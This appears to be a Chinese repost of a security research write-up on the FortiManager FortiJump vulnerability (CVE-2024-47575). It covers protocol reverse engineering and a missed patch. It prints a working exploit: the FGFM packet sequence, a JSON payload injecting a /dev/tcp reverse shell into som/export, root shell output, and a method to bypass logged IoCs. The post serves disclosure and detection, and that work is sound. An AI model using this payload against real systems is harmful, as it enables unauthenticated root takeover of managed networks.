CVE-2024-47575:FortiManager FortiManager Cloud 缺少身份验证允许执行任意代码或命令

科技   2025-01-06 13:44   广东  

最近,Fortinet(及其客户)的日子不好过,甚至比平时更难过。最近,设备漏洞不断增加,而FortiManager(用于集中管理 FortiGate 设备的工具)中又出现了严重的 CVSS 9.8 漏洞。

与往常一样,本博文中表达的观点仅代表 watchTowr 团队。如果您不喜欢我们的观点,请大声抱怨。

可以理解的是,对于一个后果如此严重的漏洞,比如“您的所有设备都会被破坏”,这种漏洞已经被利用了相当长一段时间 - Mandiant 自 6 月以来就一直如此。每个有名气的人都在博客上讨论过这个问题,甚至还有关于漏洞的网络研讨会。网络研讨会。这就是这个漏洞的严重性。

有时与CVE-2024-23113一起使用,有时单独使用,它就是那种让设备管理员彻夜难眠担心的东西,这是理所当然的——大规模的利用已经发生,没有一个盒子是安全的。

不过,正如您所预料的,Fortinet 发布了补丁,Mandiant 也发布了一些有用的 IoC。一切如常,对吧?一个由友好 APT 操纵的漏洞、一个补丁和一个让我们团结起来的无休止的循环。

嗯,事实上并非如此。


鉴于我们保护客户永无止境的追求,我们着手在实验室中重现这些漏洞。然而,我们的冒险很快发现了一些新信息,发现了几个 DoS 漏洞,以及我们怀疑是一个新的漏洞,该漏洞允许经过身份验证的托管 FortiGate 设备控制 FortiManager 实例。

我们还发现,已发布的 IoC 虽然有帮助,但可能无法涵盖所有攻击。

与往常一样,watchTowr 客户可以提前访问我们的研究成果 - 几个月前他们就对 FortiJump 做出了快速反应,在发现 FortiJump-Higher 后一小时就做出了反应。这就是我们主动保护客户安全并防止违规行为的做法。

我们的研究

正如常读者所知,我们喜欢通过简单地利用漏洞来检测易受攻击的设备,而 FortiJump 似乎是实现这一目标的不错选择。我们着手在实验室环境中重现它,但在此过程中,我们遇到了一些新问题,这些问题极大地改变了我们对漏洞的看法。特别是,我们发现了一个新漏洞,我们将其称为“ FortiJump Higher ”。我们还发现了两个文件覆盖漏洞,可以利用它们来使系统崩溃。这些漏洞的低复杂性使他们对 FortiManager 代码库的整体质量产生了质疑。

当然,我们会将发现的所有问题告知 Fortinet。但是,我们做出了一个有点不寻常的决定,在发布补救建议或补丁之前,全面披露主要问题(特权升级漏洞)的详细信息。

这是有多种原因的。

最重要的是,原始的 FortiJump 漏洞目前正在遭到大规模攻击。

鉴于我们的新“FortiJump Higher”漏洞与原始漏洞的相似性,以及在本文后面的技术细节中将会揭示的原因,我们坚信在技术层面上了解原始漏洞的对手也知道我们的新漏洞。

由于它允许托管 FortiGate 设备提升权限并夺取 FortiManager 的控制权,因此可以想象,它将与其他尚未发现的 FortiGate 设备 0day 一起用于未来的活动中。我们希望通过尽早解决漏洞来防止这种情况发生。

此外,根据我们的分析,我们坚信,Fortinet 针对 FortiJump 漏洞的补丁并不完整。我们认为,上述设备的客户(您看出主题了吗?)需要意识到,现在还不是放松警惕的时候。

简而言之,我们不是坏人——尽管存在上述漏洞,我们仍在努力维护互联网的安全。

FortiJump - 让我们深入探索

正如我们之前所说,FortiJump 不是 Fortigate 设备(例如防火墙和其他设备)中的一个漏洞,而是设备管理员用来维护整个设备群的工具FortiManager中的一个漏洞。

例如,一个组织可能在其基础设施中分散有数十甚至数百台设备,单独管理每台设备将是一项有点西西弗斯的任务,因此 Fortinet 提供了一种名为 FortiManager 的解决方案用于中央管理。

然而,这使 FortiManager 处于相当关键的位置,因此,您会认为它至少是按照与 Fortinet 的其他安全设备相同的标准构建的。

让我们看一下该软件,特别是用于与设备通信的协议FGFM。

荧光显微成像

FGFM(即“ FortiGate-to-FortiManager [协议]”)是 FortiGate 设备用于与 FortiManager 联络的协议。我们的常客读者可能从我们之前的帖子中认出了这个缩写,在该帖子中,我们利用了 FGFM 的 FortiGate 设备端的格式字符串漏洞及其用法。

正如我们在之前的分析中所述,Fortinet 提供了一份方便的协议指南,其中详细介绍了该协议(对于协议指南来说,这令人惊讶) - 例如,它在 TCP 端口 541 上运行并通过 TLS 进行隧道传输。

在执行操作时,可以使用 FortiGate 设备和 FortiManager 设备上的调试命令获取有关此神奇协议内部的详细信息。

使我们的生活更加轻松的一件事是,Fortinet 始终优先考虑调试功能而不是代码安全性(实际上,我们认为他们优先考虑代码安全性,但无论如何),当我们试图弄清楚发生了什么事情时,这使我们的生活变得轻松得多。

对于那些在家中关注的人,让我们启用此功能:

FGT# diagnose debug enable
FGT# diagnose debug application fgfmd -1
Debug messages will be on for 30 minutes.

使用 FortiManager 的第一步是将您最喜欢的 FortiGate 设备注册到您的 FortiManager 实例。这是一项简单的任务,如下所示:

FGT# config system central-management
FGT# set type fortimanager
FGT# set fmg <fortimanager IP>
FGT# end

Fortinet 对调试的优先承诺已经得到证明 - 我们得到了一些有用的信息(这个例子取自 Fortinet 文档,因为我们很懒 - 不要管我们):

FGFMs: Set managment id 247331677 OK.
FGFMs: [__chg_by_fgfm_msg] set keepalive_interval: 300
FGFMs: [__chg_by_fgfm_msg] set channel buffer/window size to 32768 bytes
FGFMs: [__chg_by_fgfm_msg] set sock timeout: 900
FGFMs: [fgfm_msg_put_tuninfo] vdom=’root’, physical_intf=, intf=’wan1’
FGFMs: client:send:
get ip
first_fmgid=
probe_mode=yes
vdom=root
intf=wan1
FGFMs: client:
reply 200
overwrite_fmgid=1
request=ip
ip=169.254.0.2
mgmtid=247331677
register_status=1
fmg_ip=192.168.48.46
keepalive_interval=300
chan_window_sz=32768
sock_timeout=900
有用!
有一些调试消息,然后是纯文本数据包转储。这些信息几乎足以让我们自己重新实现协议,但还不够 - 其中还有一些二进制字节(如果你还记得上一篇文章的话),所以让我们设置一些断点,看看在那个讨厌的 TLS 之前到底传输了什么:

很简单——有一个四字节的魔法数字(0x36e01100),后面跟着一个数据包长度(0x0178)。

在此之后,有一个“命令”,在本例中是get ip,然后是多个以换行符结尾的键值对,每个键值对都由等号分隔。

这里没有什么太复杂的,所以让我们继续编写一些代码来向 FortiManager 注册我们自己的虚构的“FortiGate 设备”。

现在,是的,我们可以听到您的声音——我们还没有解决一个细微差别(这实际上不是一个细微差别,所以请保持安静)。

除了通过 TLS 运行 FGFM 之外,该通道还需要相互身份验证- 即,除了 FortiManager 由 FortiGate 设备进行身份验证之外,FortiGate 设备还使用证书向 FortiManger 进行身份验证。

我们最初从 FortiGate 设备虚拟机中提取factory.crt证书,并使用它作为设备进行身份验证,但很快发现 FortiManger 堆栈会忽略注册尝试。随后进行了一些调试 - 在收听有关查找子域以及如何“正确”执行 ASM 的播客时 - 我们最终发现 FortiGate 设备提供的 TLS 证书的 CN 字段必须与注册请求serialno中提供的字段匹配,请求才能成功。

TL;DR 很明显我们使用了错误的证书。

FortiGate 设备向 FortiManager 提供的证书必须由特定 CA 签名,并存储在 FortiGate 设备本身上。虽然提取 CA 并颁发我们自己的证书当然是可能的,但我们选择了更简单的方法,即提取已为我们的测试设备生成的证书。值得注意的是,此步骤提供了一个(尽管很弱)进入壁垒 - 潜在攻击者必须拥有从设备中提取的证书或同样从设备中提取的 CA,然后才能与 FortiManager 通信。

提取正确的证书需要一些额外的工作,因为我们转储了正在运行的虚拟机的内存,并使用取证工具对其进行了检查。尽管如此,在这样做之后,我们还是获得了一个有效的证书,允许我们发送恶意设备的注册请求,然后该请求会显示在设备表中:

> diagnose dvm device list

--- There are currently 1 devices/vdoms managed ---
--- There are currently 1 devices/vdoms count for license ---

TYPE OID SN HA IP NAME ADOM IPS FIRMWARE HW_GenX
unregistered 166    FGVMEVWG8YMT3R63 - 192.168.1.110   FGVMEVWG8YMT3R63 root 7.0 MR2 (1255) N/A

您会注意到,此处的“类型”字段设置为“未注册”。这表明 FortiGate 设备不完全受 FortiManager 实例信任,需要管理员批准连接才能完全成功:

人们会认为 FortiManager 会简单地忽略来自此类“未注册” FortiGate 的请求,而我们需要找到一种方法来破坏某些企业级控制来纠正这个问题,但是 - 我们特别注意到公共 IoC 指定“意外设备”可能会出现在“未注册”状态下:

鉴于此,我们消除了这一担忧,并假设我们已经满足了利用企业级安全设备所需的第一个先决条件。

正如您所料,下一个合乎逻辑的步骤是枚举功能攻击面 - 找到除公开的注册机制之外的其他有效命令get ip。

为此,我们深入研究了fgfmsd负责解码协议的二进制文件。不幸的是,命令并没有像人们所期望的那样存储在二进制文件中的跳转表中,而是分散在决策树中,这进一步延长了分析所需的时间。

你可以想象,这就像圣诞节一样——大量的命令都有着有趣的名字,例如put_config。然而,真正吸引我们眼球的是put_json_cmd。

正如您在下面看到的,此命令将自身作为一个简单的包装器 - 它解析 JSON 对象并将其传递给svc_rpc_uclient。

if ( strcmp(a1.command, "put_json_cmd") == 0 )
{
  fgfm_dbg(32LL, v2, "### %s finished, file_name=%s\\n", a1.command, a1.file_name);
  if ( a1.field_at_296 )
  {
    v20 = a1.someHandler();
    jsonFileObj = json_object_from_file(a1.file_name);
    unlink(a1.file_name);
    a1.file_name[0] = '\\0';
    if ( jsonFileObj && jsonFileObj <= 0xFFFFFFFFFFFFF060LL )
    {
      jsonObj = fgfm_json_rpc_create(0);
      rpcContainer = json_obj_to_fgfm_rpc_container(0, jsonFileObj);
      if ( jsonObj && rpcContainer && jsonObj.handler(jsonObj, rpcContainer) == null )
      {
        svc_rpc_uclient(jsonObj, 2);
      }
      obj_put(rpcContainer);
      obj_put(jsonObj);
      json_object_put(jsonFileObj);
    }
    else
    {
      if ( v20 )
        fgfm_dbg(32LL, v20, "invalid json format\\n");
      obj_put(null);
      obj_put(null);
    }
  }
  return destroy_obj(a1);
}

正如我们之前所说,漏洞通常聚集在功能边界附近,因为 RPC 接口的一方通常会对其另一方的义务做出不同的假设。出于这个原因,我们的蜘蛛感应将此功能标记为重要。我们对此 RPC 调用终止的位置进行了更多的逆向分析,发现它通过 Unix 域套接字进入名为的二进制文件fdssrvd。

我们在另一端发现的功能更加丰富——大约 70 个函数可以通过此put_json_cmd接口访问。幸运的是,这一次它们都放在一个不错的跳转表中,让我们可以仔细查看它们,而不必解析意大利面条式代码。

.data:0000000000093DC0 off_93DC0 dq offset aPing ; "ping"
.data:0000000000093DC8 dq offset dmworker_ping
.data:0000000000093DD0 db 30h dup(0), 2, 2Fh dup(0)
.data:0000000000093E30 dq offset aDeviceList
; "device/list"
.data:0000000000093E38                 dq offset sub_32FD1
.data:0000000000093E40                 db 30h dup(0), 0Ah, 2Fh dup(0)
.data:0000000000093EA0 dq offset aDeviceInfo
; "device/info"
.data:0000000000093EA8 dq offset sub_3312F
.data:0000000000093EB0 db 30h dup(0), 0Ah, 2Fh dup(0)
.data:0000000000093F10 dq offset aDeviceDetail
; "device/detail"
.data:0000000000093F18 dq offset sub_33083
.data:0000000000093F20 db 30h dup(0), 0Ah, 2Fh dup(0)
.data:0000000000093F80 dq offset aDeviceLicense
; "device/license"
.data:0000000000093F88 dq offset sub_33208
.data:0000000000093F90 db 30h dup(0), 0Ah, 2Fh dup(0)
.data:0000000000093FF0 dq offset aDeviceHistory
; "device/history"
.data:0000000000093FF8 dq offset sub_332A9

简洁 - 每个都有一个 ASCII 名称和一个处理程序。这类似于路由表,对于那些来自网络级漏洞利用领域的人来说,它整齐地组织了所有攻击面供我们仔细查看。

当然,70 个函数是一个很大的数目,但是作为显然缺乏建议的冒险家,我们煞费苦心地仔细研究了它们,直到找到一个立即引起我们注意的函数 - 函数的处理程序som/export。

我们相信你只需快速看一眼就能发现原因:

__int64 sub_38DB7(__int64 a1, _DWORD *a2, __int64 a3)
{
...
  if ( a2 != 0LL && a3 != 0 && v6 != null )
  {
    if ( *((_DWORD *)_destFilename + 4) == 12 )
    {
      *a2 = '\\n';
      srcFilename = "/var/fds/data/som_cus.dat";
      if ( access(srcFilename, 0) )
        srcFilename = "/fdsroot/data/etc/som.dat";
        
      if ( access(srcFilename, 0) )
      {
        FGFM_DBG(6LL, "The running som.dat default download list: [%s] does'nt exist\\n", srcFilename);
      }
      else
      {
        snprintf(s, 0x200uLL, "cp %s %s", srcFilename, *_destFilename);
        returnCode = system(s);
        destFilename = *_destFilename;
        if ( returnCode )
        {
          FGFM_DBG(6LL, "can not copy file:[%s] to [%s]\\n", srcFilename, destFilename);
        }
        else
        {
          FGFM_DBG(6LL, "umsvc_som_export: export file [%s] to [%s]\\n", srcFilename, destFilename);
          *a2 = 0;
        }
      }
    }
    else
    {
      *a2 = 9;
    }
...
噢,哈哈!

它是每个攻击者最好的朋友:system函数。

看起来它并没有对输入进行清理,这为我们偷偷插入一些反引号并注入我们自己的命令敞开了大门。

这可能是我们正在寻找的漏洞吗?

到达som/export

剩下的谜题就是如何调用该函数som/export。进一步逆向分析发现,该函数正在执行某种文件传输操作。它传输的具体内容对我们来说并不重要,只要我们可以启动导出并提供一些传递给该调用的数据即可system。

经过进一步的逆向分析,我们发现该som/export函数需要由命令分配的文件传输句柄get file_exchange。

这很简单 - 我们只需打开与 FortiManager 的连接,并发送以下数据包:

get file_exchange
localid=128
chan_window_sz=32768
deflate=gzip
file_exch_cmd=put_json_cmd

我们获得了一个有效的转移句柄(在本例中为 61704):

action=ack
localid=61704
remoteid=544

然后我们可以使用它,channel使用 JSON 有效负载调用命令,并指定som/export处理程序。

channel
remoteid=61704

217
{
  "method": "exec",
  "id: 1,
  "
params": [
    {
      "
url": "um/som/export",
      "
data": {
        "
file": "`sh -i >& /dev/tcp/192.168.1.1/80 0>&1`"
      }
    }
  ]
}

您会注意到我们甚至通过/dev/tcp设备节点(幸运的是,FortiManager 设备公开了它)包含了一个很好的回调 shell。

一跳,一跳,一跳——当我们发送这个序列时,我们会得到一个很好的回调外壳:

nc -lvvnp 80
listening on [any] 80 ...
connect to [192.168.1.1] from (UNKNOWN) [192.168.1.110] 22658
sh: cannot set terminal process group (27128): Inappropriate ioctl for device
sh: no job control in this shell

sh-5.2# id
id
uid=0(root) gid=0(root)
sh-5.2# hostname
hostname
FMG-VM64
sh-5.2#

与往常一样,我们提供交互式检测工件生成器工具,以及运行它所需的证书:https://github.com/watchtowrlabs/Fortijump-Exploit-CVE-2024-47575

有些人可能会批评我们发布这个 PoC,特别是发布通用默认捆绑的设备证书,但我们相信这符合 FortiManager 管理员的最佳利益。

鉴于对该漏洞及其变体的困惑,我们认为为那些需要可靠、简单的方法来证明其环境已被修补(或易受攻击)的人提供支持尤为重要,并且只有在我们发布带有完整证书材料的全功能漏洞利用程序时,这才是实用的。

我们注意到设备序列号被编码在证书的 CN 字段中,对于希望检测其使用情况的管理员来说,这是一个非常明显的证书。

当然,由于目前细节还很少,我们不能 100% 确定这确实是 FortiJump 漏洞,但我们可以非常确定。

例如,Mandiant 发布的 IoC 与我们发现的漏洞一致。

最能说明问题的是,Mandiant 建议,FortiManager 系统日志中包含利用尝试后的提示条目changes="Added unregistered device to unregistered table.",表明设备处于未注册状态,这与我们的利用相符。

以下是我们的 FortiJump PoC 的实际演示:

隐身模式——避免 IoC

我们看到许多人修补了他们的 FortiManager 实例,并立即查看了 Mandiant 发布的 IoC 的日志,这本身并不是一个坏步骤。但令人担忧的是,我们还发现,与添加到系统中的未注册设备相关的主要 IoC 很容易被绕过,并且可以在不产生任何日志噪音的情况下进行利用。

在 Mandiant 发布的六个 IoC(如上所示)中,有三个与我们相关,它们会导致在文件中生成条目/log/locallog/elog。这些都是攻击者将未注册的设备添加到 FortiManager 的后果,这是一个特别嘈杂的操作,甚至会显示在 Web UI 和其他设备界面中:

任何自称“高级”的攻击者都不希望他们的恶意设备出现在“未经授权的设备”表中,所以我们想知道——FortiManager 写得这么差,我们是否可以直接发送攻击数据包,而无需发送任何类型的设备注册?我们能不能简单地跳过产生噪音的步骤?

呃,嗯,是的,事实上。无需费力提取正确的证书,也无需手工制作get ip数据包进行注册。攻击者只需发送get file_exchange数据channel包,就可以直接进入 - 绕过三个elog指标,不会在系统日志中留下任何痕迹。这似乎是一件大事,设备管理员应该注意!

我们没有提到,但值得强调的是,在上述过程中,我们看到的行为看起来像是Fortinet 关闭了 FortiManager 试用许可服务器。这很奇怪,但我们确信它阻止了全年都在利用这些漏洞的 APT。哇,戏剧!

这几乎让你了解了 FortiJump 漏洞的最新情况。如果你观看了有关此情况的 Mandiant 和 Fortinet 网络研讨会,你就会更了解最新情况,你将获得 CISSP 的 CPE,并且你会听到有人抱怨 FortiJump Higher。

正如你所预料的,故事绝不会如此简单地结束——让我们继续吧。

为了确认我们的漏洞确实是我们正在寻找的 FortiJump,我们下载了修补版本和易受攻击的代码库版本(确切地说是 7.6.0 和 7.6.1),并比较了内容,寻找已经更改的二进制文件,并检查它们是否存在前漏洞的迹象。

虽然我们无法找到任何可以阻止我们实际漏洞的东西,但我们确实发现了以下内容:

很明显,这是在尝试修补命令注入 -system我们在左侧看到的危险调用(7.6.0)已fm_exec在 7.6.1 中被替换为(可能安全)。然而,令人困惑的是,这不是dmworker_rcs_checkout我们自己发现的命令注入 - 相反,这是在名为可从(如您所想象的)处理程序访问的函数中rcs/checkout,而不是som/export我们攻击的函数。

它甚至不在与我们发现的代码相同的二进制文件fdssrvd中 —— 而不是我们的漏洞所在的位置,这个差异来自libdmserver.so。

这里发生了什么事?

好吧,您可能怀疑(就像我们一样)我们发现了同一个 FortiJump 漏洞的第二个入口点。经过一番思考和逆向分析后,我们仍然无法正确触发此代码路径。

这意味着 Fortinet 只是在完全不同的库中的错误文件中修补了错误的代码。

虽然我们无法洞察 APT 组织的内部运作,但在我们看来,成功的 APT 组织似乎并不完全愚蠢,如果他们在这个神奇的意大利面条解决方案中发现一个漏洞,那么他们很可能会发现其他漏洞,而 Fortinet 并未对这些漏洞置之不理。

不过幸运的是,Fortinet 还对其代码库进行了其他修改,现在需要先注册设备才能进行通信。这使得我们的漏洞变成了身份验证后特权提升攻击,而不是 FortiJump 的完整 RCE。

由于现在需要设备注册,这也意味着其他漏洞不再适用于修补过的机器,这在一定程度上令人感到安慰,但也使攻击变得更加嘈杂。

对于那些渴望大开杀戒的人,这里有一段视频,展示了我们新的“FortiJump Higher”漏洞的实际操作。此代码是我们安全可靠的检测易受攻击的 FortiManager 安装方法的基础。此漏洞没有单独的漏洞利用 - 它与之前的漏洞利用代码相同,但这次是从受感染的 Fortigate 设备运行的。它将假定受感染设备的身份。

为避免疑问 - Fortinet 已经掌握了这些详细信息(如果您错过了,网络研讨会中已经提到了这一点)。

再次叹息

就这样吧。

据我们所知,Fortinet 只是修补了一段不相关的(死代码?)代码,而实际漏洞则任其发展,任由攻击者肆意攻击。这引出了许多有趣的问题 - Fortinet 在“修复”之前是否真的重现了该问题?

他们(或者说“他们”到底是如何测试他们的“修复”的?这是 Fortinet“解决”安全问题的常用方法吗?

他们是否只是很幸运,之前针对其他问题的补丁实际上已经缓解了这个问题?

最后,也是最重要的一个问题,对于读者来说,这是真正的安全吗?您来判断吧。


感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里


Ots安全
持续发展共享方向:威胁情报、漏洞情报、恶意分析、渗透技术(工具)等,不会回复任何私信,感谢关注。
 最新文章